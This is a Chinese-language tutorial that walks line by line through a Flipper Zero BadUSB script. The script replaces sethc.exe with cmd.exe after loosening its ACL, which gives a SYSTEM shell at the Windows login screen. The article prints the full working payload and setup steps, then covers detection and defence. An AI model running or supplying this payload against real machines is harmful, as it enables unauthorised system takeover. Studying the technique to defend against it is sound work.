Windows 登录界面后门全解析)
Flipper Zero BadUSB 实战Sticky Keyssethc.exe 替换Windows 登录界面后门全解析【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper本文以 UNC0V3R3D-BadUSB-Collection 仓库中 StickyKeysSWAP 说明文档 及其配套 StickyKeysSWAP.txt 脚本为主体完整剖析一段经典的 Windows Sticky Keys 后门载荷通过修改系统辅助功能程序sethc.exe的 ACL并将其替换为cmd.exe使攻击者在无需知道 PIN 的情况下在登录界面获得系统级命令控制台。读完本文你将掌握该脚本的完整运行逻辑、逐行 DuckyScript 语法、PowerShell 载荷的底层原理、部署方式与对应的检测防御思路。安全声明该脚本集合的官方 README 明确声明其「仅用于教育目的」educational purposes only并要求在任何机器上运行前必须获得授权见 集合 README。本文内容仅用于理解攻击原理与防护请勿在未授权系统上使用。一、原理背景Sticky Keys 与 Windows 登录前的系统通道Sticky Keys粘滞键是 Windows 内置的辅助功能连续按下 5 次 Shift 键即可触发方便无法同时按住多个按键的用户使用组合键。其可执行文件为C:\Windows\System32\sethc.exe由winlogon进程在登录界面与锁屏界面此时用户尚未认证桌面处于 Secure Desktop即可被激活运行。这意味着如果能将sethc.exe替换成任意程序那么攻击者在登录界面按下 5 次 ShiftWindows 就会以**系统权限SYSTEM**执行替换后的程序——这是经典的「辅助功能后门」Sticky Keys Backdoor / sethc 后门攻击面。sethc.exe运行在 SYSTEM 上下文且先于用户登录因此用它替换出的命令提示符拥有完整的系统权限可以绕过 PIN/密码认证直接控制系统。该集合中的 StickyKeysSWAP 脚本正是围绕这一机制设计脚本的 REM 描述明确定义了其目标——「Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin」将 cmd.exe 与 sethc.exe 互换使你在不知道 PIN 的情况下访问目标 PC。原文档将其特性概括为两点打开 PowerShell、替换 cmd.exe而实际脚本在替换前还完成了一项容易被忽略的关键操作——修改系统文件的访问控制列表ACL。二、脚本全貌即插即用的 DuckyScript 载荷StickyKeysSWAP.txt 是标准的 DuckyScript 1.0 格式集合 README 指出所有 BadUSB 脚本均使用该语言编写并以REM注释说明过程。脚本头部包含作者、描述、版本与分类元信息REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord) REM Description: Switch cmd.exe with sethc.exe, allowing to get access to target pc without knowing the pin. REM Version: 1.0 REM Category: Execution完整执行流程原文逐行保留DELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500 STRING powershell Start-Process powershell -Verb runAs ENTER DELAY 750 LEFTARROW ENTER DELAY 1500 ALT y DELAY 1500 GUI UP DELAY 1500 STRING copy c:\windows\system32\sethc.exe c:\;$acl Get-Acl c:\windows\system32\sethc.exe;$AccessRule1 New-Object System.Security.AccessControl.FileSystemAccessRule(Jeder,FullControl,Allow);$AccessRule2 New-Object System.Security.AccessControl.FileSystemAccessRule(Everyone,FullControl,Allow);$acl.SetAccessRule($AccessRule1);$acl | Set-Acl c:\windows\system32\sethc.exe;$acl.SetAccessRule($AccessRule2);$acl | Set-Acl c:\windows\system32\sethc.exe;Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit ENTER正如原文档所述该脚本「即插即用」plug and play将文件拷入 Flipper Zero 的 BadUSB 目录插入目标 PC 后运行即可无需任何手工干预。下面按阶段逐行拆解。三、阶段一回到桌面并请求提权启动 PowerShellDELAY 750 WINDOWS d DELAY 1500 WINDOWS r DELAY 1500 STRING powershell Start-Process powershell -Verb runAs ENTERDELAY 750等待 750ms让目标系统在 USB 设备插入后完成键盘枚举延迟过短会导致后续按键丢失集合 README 的排错章节专门提到延迟过短是脚本乱输的常见原因。WINDOWS d按 WinD 回到桌面确保当前焦点处于可操作状态。DELAY 1500等待桌面完全加载。WINDOWS r打开「运行」对话框。STRING powershell Start-Process powershell -Verb runAsENTER在运行框输入并执行 PowerShell 的「以管理员身份启动另一个 PowerShell」命令。Start-Process -Verb runAs是触发 Windows UAC 提权提示的标准方式。DELAY 750等待 UAC 弹窗出现。这里的整体思路与同目录下的 Create_New_Windows_Admin.txt 完全一致后者同样是WINDOWS d→WINDOWS r→Start-Process powershell -Verb runAs→LEFTARROWENTER处理 UAC 弹窗后再注入管理命令说明这套提权模板是该集合的通用范式。四、阶段二UAC 弹窗确认与焦点恢复LEFTARROW ENTER DELAY 1500 ALT y DELAY 1500 GUI UP DELAY 1500LEFTARROWENTERUAC 弹窗默认聚焦在「是」按钮上先按左箭头再回车即确认以管理员身份运行。之所以不直接按回车是从脚本健壮性角度规避某些系统/界面版本中默认焦点不确定的问题。DELAY 1500等待新的管理员 PowerShell 窗口完成启动。ALT y部分 Windows 版本Win10/11 的 SmartScreen 或「是否允许此应用更改设备」类提示会追加二级确认ALT y用于激活提示条上的「是」选项。GUI UP这里GUI即 Windows 徽标键GUI UP是恢复键盘按键状态的语法与字符串输入期间可能残留的修饰键状态对应避免后续输入被修饰键影响。DELAY 1500给管理员 PowerShell 就绪留足时间。至此脚本获得了一个**管理员权限非 SYSTEM**的 PowerShell 控制台用于接下来修改受 TrustedInstaller/系统保护的系统文件。五、阶段三核心载荷——备份、ACL 篡改与文件替换这是脚本的灵魂全部内容是一条 PowerShell 单行命令copy c:\windows\system32\sethc.exe c:\; $acl Get-Acl c:\windows\system32\sethc.exe; $AccessRule1 New-Object System.Security.AccessControl.FileSystemAccessRule(Jeder,FullControl,Allow); $AccessRule2 New-Object System.Security.AccessControl.FileSystemAccessRule(Everyone,FullControl,Allow); $acl.SetAccessRule($AccessRule1); $acl | Set-Acl c:\windows\system32\sethc.exe; $acl.SetAccessRule($AccessRule2); $acl | Set-Acl c:\windows\system32\sethc.exe; Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force; exit1. 备份原文件copy c:\windows\system32\sethc.exe c:\;先将原始的sethc.exe备份到 C 盘根目录。这一步既保留了原文件以便日后恢复也确保替换操作可逆。2. 获取当前 ACL$acl Get-Acl c:\windows\system32\sethc.exe;读取sethc.exe当前的访问控制列表并存入变量$acl。原文档对此的表述是「adding full control access rules for Everyone ... and setting the access control list of the file to the modified access control list」即先加规则再写回这正是这一段做的。3. 构造「完全控制」访问规则$AccessRule1 New-Object System.Security.AccessControl.FileSystemAccessRule(Jeder,FullControl,Allow); $AccessRule2 New-Object System.Security.AccessControl.FileSystemAccessRule(Everyone,FullControl,Allow);使用 .NET 的System.Security.AccessControl.FileSystemAccessRule构造两条访问规则Jeder德语环境的「Everyone」账户名作者 UNC0V3R3D 面向多语言环境同时写了德语与英语两种账户名可以推断这是为了兼容不同语言版本的 Windows即使其中一条对不上另一条也能生效Everyone英语环境的标准 Everyone 账户FullControl完全控制权限Allow允许类型。4. 写入 ACL$acl.SetAccessRule($AccessRule1); $acl | Set-Acl c:\windows\system32\sethc.exe; $acl.SetAccessRule($AccessRule2); $acl | Set-Acl c:\windows\system32\sethc.exe;对每条规则执行「修改内存中的 ACL 对象 → 通过Set-Acl写回文件」两步。最终sethc.exe的 ACL 中对 Everyone 开放了 FullControl这是后续覆盖文件的前提——System32下的受保护系统文件默认只有 TrustedInstaller 拥有写权限直接Copy-Item会被拒绝访问脚本通过先放开 ACL 再覆盖的方式绕过了这一保护原文档中「adding full control access rules for Everyone」即指此步骤。5. 执行替换Copy-Item -Path c:\windows\system32\cmd.exe -Destination c:\windows\system32\sethc.exe -Recurse -force;将cmd.exe复制为sethc.exe-Recurse -force强制覆盖。替换完成后系统「辅助功能」入口实际指向的是命令提示符。6. 收尾exit关闭管理员 PowerShell 窗口抹除明显的执行痕迹。六、利用链路登录界面按下 Shift 即得 SYSTEM Shell脚本执行完毕后目标系统上发生的变化如下C:\Windows\System32\sethc.exe的内容已被cmd.exe覆盖原sethc.exe备份在C:\根目录该文件 ACL 对 Everyone 开放完全控制。此后在锁屏或登录界面连续按 5 次 ShiftSticky Keys 的标准触发方式Windows 会启动「sethc.exe」——即实际上的 cmd.exe且以系统权限运行。攻击者在不知道 PIN/密码的情况下即可直接执行net user系列命令查看/添加账户运行任意高权限命令完全接管系统通过该后门可持久化横向渗透配合集合中 Remote-Access 目录 下的反弹 shell 类脚本形成完整链路。值得注意的是WINDOWS d之后脚本全程在已登录用户的桌面会话里操作而替换生效后的触发点在登录会话之前两者权限上下文不同——替换动作需要管理员UAC 提权触发执行则是 SYSTEM这构成了完整的权限提升闭环。七、部署与运行从仓库到 Flipper Zero依据集合 README.md 的安装说明部署流程如下获取文件将该仓库克隆或下载到本地取出 StickyKeysSWAP.txt连接设备手机端用 Flipper Zero 官方 App蓝牙PC 端用 qFlipperUSB拷贝文件打开 qFlipper → SD Card →badusb目录将StickyKeysSWAP.txt移入运行在 Flipper Zero 上进入 BadUSB 分类选择该脚本按中间键开始Flipper 会提示先连接目标 PC 的 USB完成后验证按 5 次 Shift 触发粘滞键观察是否弹出 SYSTEM 权限的命令提示符。排错提示来自集合 README若脚本「乱开窗口、乱打字」通常是DELAY值过小可将DELAY 750/1500适当调大若出现ERROR: line x优先检查脚本内是否有空行、行首空格或LOCALE指令Flipper 上支持不佳。该集合强调在虚拟机中先行测试collection README 明确建议使用虚拟机验证脚本尤其这类会修改系统关键文件的载荷。八、同类脚本对照StickyKeysSWAP 在集合中的定位StickyKeysSWAP 位于Windows_Badusb/Execution/执行类目录下与 Create_New_Windows_Admin 等脚本共享「UAC 提权 → 注入管理命令」的前置模板区别在于落地载荷不同维度StickyKeysSWAPCreate_New_Windows_Admin提权前置Start-Process powershell -Verb runAsLEFTARROW/ENTER/ALT y相同模板落地操作备份并替换sethc.exe为cmd.exe篡改 ACLnet user新建管理员账户并隐藏触发方式登录界面按 5 次 Shift无需触发账户即时可用隐蔽性高触发式后门平时无痕迹中系统多出一个账户从源码结构看StickyKeysSWAP 走的是「后门化」路线持久且隐蔽而 Create_New_Windows_Admin 走的是「即时建号」路线。两者均属集合「Execution」分类读者可按场景选择。九、检测与防御如何发现和封堵 sethc 后门对防守方而言应对这类攻击需要多管齐下检测手段校验C:\Windows\System32\sethc.exe的文件签名原始文件带微软数字签名被替换后签名失效对比sethc.exe与cmd.exe的哈希是否一致检查登录界面 5 次 Shift 后弹出的窗口类型正常应显示辅助功能设置而非命令行审计安全事件日志中的sethc.exe进程启动记录。防御手段严格限制System32下系统文件对非 TrustedInstaller 账户的写权限防止 ACL 被篡改启用 Windows Defender 的受控文件夹访问Controlled Folder Access拦截对系统目录的未授权写入在登录/锁屏界面禁用辅助功能触发策略NoWinKeys或辅助功能相关的组策略对物理接触面设防BIOS/UEFI 密码、禁用 USB 设备枚举、端口锁从源头阻止 BadUSB 插入。结语StickyKeysSWAP 是理解「Windows 辅助功能后门 Flipper Zero BadUSB 攻击链」的绝佳样例一段不足 30 行的 DuckyScript完整覆盖了 UAC 提权、ACL 篡改、系统文件替换与登录前触发四个关键技术环节。原文档言简意赅本文结合 StickyKeysSWAP.txt 脚本与 集合 README 的背景说明做了逐行级还原。掌握它的原理既是为了理解攻击者的手法更是为了在真实环境中建立对应的检测与防御基线——请务必仅在获得授权、且隔离的实验环境中复现与研究。【免费下载链接】FlipperPlayground (and dump) of stuff I make or modify for the Flipper Zero项目地址: https://gitcode.com/GitHub_Trending/fl/Flipper创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考